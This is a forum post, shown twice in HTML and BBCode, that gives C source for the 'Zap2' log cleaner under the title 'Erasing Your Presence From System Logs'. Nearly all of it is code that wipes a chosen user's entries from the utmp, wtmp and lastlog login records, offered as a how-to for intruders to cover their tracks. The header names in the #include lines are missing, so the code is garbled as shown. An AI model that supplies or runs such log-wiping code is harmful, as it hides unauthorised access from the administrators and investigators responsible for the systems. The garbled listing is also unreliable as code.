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<blockquote data-quote="wgdchathuranga_1" data-source="post: 8456632" data-attributes="member: 257568"><p><span style="font-size: 12px">¤¤ Erasing Your Presence From System Logs ¤¤</span></p><p><span style="font-size: 12px"></span></p><p><span style="font-size: 12px">Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.</span></p><p></p><p><span style="font-size: 12px">Example:</span></p><p></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#define WTMP_NAME "/usr/adm/wtmp"</span></p><p><span style="font-size: 12px">#define UTMP_NAME "/etc/utmp"</span></p><p><span style="font-size: 12px">#define LASTLOG_NAME "/usr/adm/lastlog"</span></p><p></p><p><span style="font-size: 12px">int f;</span></p><p></p><p><span style="font-size: 12px">void kill_utmp(who)</span></p><p><span style="font-size: 12px">char *who;</span></p><p><span style="font-size: 12px">{</span></p><p><span style="font-size: 12px">struct utmp utmp_ent;</span></p><p></p><p><span style="font-size: 12px">if ((f=open(UTMP_NAME,O_RDWR))>=0) {</span></p><p><span style="font-size: 12px">while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )</span></p><p><span style="font-size: 12px">if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {</span></p><p><span style="font-size: 12px">bzero((char *)&utmp_ent,sizeof( utmp_ent ));</span></p><p><span style="font-size: 12px">lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);</span></p><p><span style="font-size: 12px">write (f, &utmp_ent, sizeof (utmp_ent));</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">close(f);</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">}</span></p><p></p><p><span style="font-size: 12px">void kill_wtmp(who)</span></p><p><span style="font-size: 12px">char *who;</span></p><p><span style="font-size: 12px">{</span></p><p><span style="font-size: 12px">struct utmp utmp_ent;</span></p><p><span style="font-size: 12px">long pos;</span></p><p></p><p><span style="font-size: 12px">pos = 1L;</span></p><p><span style="font-size: 12px">if ((f=open(WTMP_NAME,O_RDWR))>=0) {</span></p><p></p><p><span style="font-size: 12px">while(pos != -1L) {</span></p><p><span style="font-size: 12px">lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);</span></p><p><span style="font-size: 12px">if (read (f, &utmp_ent, sizeof (struct utmp))<0) {</span></p><p><span style="font-size: 12px">pos = -1L;</span></p><p><span style="font-size: 12px">} else {</span></p><p><span style="font-size: 12px">if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {</span></p><p><span style="font-size: 12px">bzero((char *)&utmp_ent,sizeof(struct utmp ));</span></p><p><span style="font-size: 12px">lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);</span></p><p><span style="font-size: 12px">write (f, &utmp_ent, sizeof (utmp_ent));</span></p><p><span style="font-size: 12px">pos = -1L;</span></p><p><span style="font-size: 12px">} else pos += 1L;</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">close(f);</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">}</span></p><p></p><p><span style="font-size: 12px">void kill_lastlog(who)</span></p><p><span style="font-size: 12px">char *who;</span></p><p><span style="font-size: 12px">{</span></p><p><span style="font-size: 12px">struct passwd *pwd;</span></p><p><span style="font-size: 12px">struct lastlog newll;</span></p><p></p><p><span style="font-size: 12px">if ((pwd=getpwnam(who))!=NULL) {</span></p><p></p><p><span style="font-size: 12px">if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {</span></p><p><span style="font-size: 12px">lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);</span></p><p><span style="font-size: 12px">bzero((char *)&newll,sizeof( newll ));</span></p><p><span style="font-size: 12px">write(f, (char *)&newll, sizeof( newll ));</span></p><p><span style="font-size: 12px">close(f);</span></p><p><span style="font-size: 12px">}</span></p><p></p><p><span style="font-size: 12px">} else printf("%s: ?\n",who);</span></p><p><span style="font-size: 12px">}</span></p><p></p><p><span style="font-size: 12px">main(argc,argv)</span></p><p><span style="font-size: 12px">int argc;</span></p><p><span style="font-size: 12px">char *argv[];</span></p><p><span style="font-size: 12px">{</span></p><p><span style="font-size: 12px">if (argc==2) {</span></p><p><span style="font-size: 12px">kill_lastlog(argv[1]);</span></p><p><span style="font-size: 12px">kill_wtmp(argv[1]);</span></p><p><span style="font-size: 12px">kill_utmp(argv[1]);</span></p><p><span style="font-size: 12px">printf("Zap2!\n");</span></p><p><span style="font-size: 12px">} else</span></p><p><span style="font-size: 12px">printf("Error.\n");</span></p><p><span style="font-size: 12px">}</span></p></blockquote><p></p>
[QUOTE="wgdchathuranga_1, post: 8456632, member: 257568"] [SIZE=3]¤¤ Erasing Your Presence From System Logs ¤¤ Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.[/SIZE] [SIZE=3]Example:[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#define WTMP_NAME "/usr/adm/wtmp"[/SIZE] [SIZE=3]#define UTMP_NAME "/etc/utmp"[/SIZE] [SIZE=3]#define LASTLOG_NAME "/usr/adm/lastlog"[/SIZE] [SIZE=3]int f;[/SIZE] [SIZE=3]void kill_utmp(who)[/SIZE] [SIZE=3]char *who;[/SIZE] [SIZE=3]{[/SIZE] [SIZE=3]struct utmp utmp_ent;[/SIZE] [SIZE=3]if ((f=open(UTMP_NAME,O_RDWR))>=0) {[/SIZE] [SIZE=3]while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )[/SIZE] [SIZE=3]if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {[/SIZE] [SIZE=3]bzero((char *)&utmp_ent,sizeof( utmp_ent ));[/SIZE] [SIZE=3]lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);[/SIZE] [SIZE=3]write (f, &utmp_ent, sizeof (utmp_ent));[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]close(f);[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]void kill_wtmp(who)[/SIZE] [SIZE=3]char *who;[/SIZE] [SIZE=3]{[/SIZE] [SIZE=3]struct utmp utmp_ent;[/SIZE] [SIZE=3]long pos;[/SIZE] [SIZE=3]pos = 1L;[/SIZE] [SIZE=3]if ((f=open(WTMP_NAME,O_RDWR))>=0) {[/SIZE] [SIZE=3]while(pos != -1L) {[/SIZE] [SIZE=3]lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);[/SIZE] [SIZE=3]if (read (f, &utmp_ent, sizeof (struct utmp))<0) {[/SIZE] [SIZE=3]pos = -1L;[/SIZE] [SIZE=3]} else {[/SIZE] [SIZE=3]if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {[/SIZE] [SIZE=3]bzero((char *)&utmp_ent,sizeof(struct utmp ));[/SIZE] [SIZE=3]lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);[/SIZE] [SIZE=3]write (f, &utmp_ent, sizeof (utmp_ent));[/SIZE] [SIZE=3]pos = -1L;[/SIZE] [SIZE=3]} else pos += 1L;[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]close(f);[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]void kill_lastlog(who)[/SIZE] [SIZE=3]char *who;[/SIZE] [SIZE=3]{[/SIZE] [SIZE=3]struct passwd *pwd;[/SIZE] [SIZE=3]struct lastlog newll;[/SIZE] [SIZE=3]if ((pwd=getpwnam(who))!=NULL) {[/SIZE] [SIZE=3]if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {[/SIZE] [SIZE=3]lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);[/SIZE] [SIZE=3]bzero((char *)&newll,sizeof( newll ));[/SIZE] [SIZE=3]write(f, (char *)&newll, sizeof( newll ));[/SIZE] [SIZE=3]close(f);[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]} else printf("%s: ?\n",who);[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]main(argc,argv)[/SIZE] [SIZE=3]int argc;[/SIZE] [SIZE=3]char *argv[];[/SIZE] [SIZE=3]{[/SIZE] [SIZE=3]if (argc==2) {[/SIZE] [SIZE=3]kill_lastlog(argv[1]);[/SIZE] [SIZE=3]kill_wtmp(argv[1]);[/SIZE] [SIZE=3]kill_utmp(argv[1]);[/SIZE] [SIZE=3]printf("Zap2!\n");[/SIZE] [SIZE=3]} else[/SIZE] [SIZE=3]printf("Error.\n");[/SIZE] [SIZE=3]}[/SIZE] [/QUOTE]
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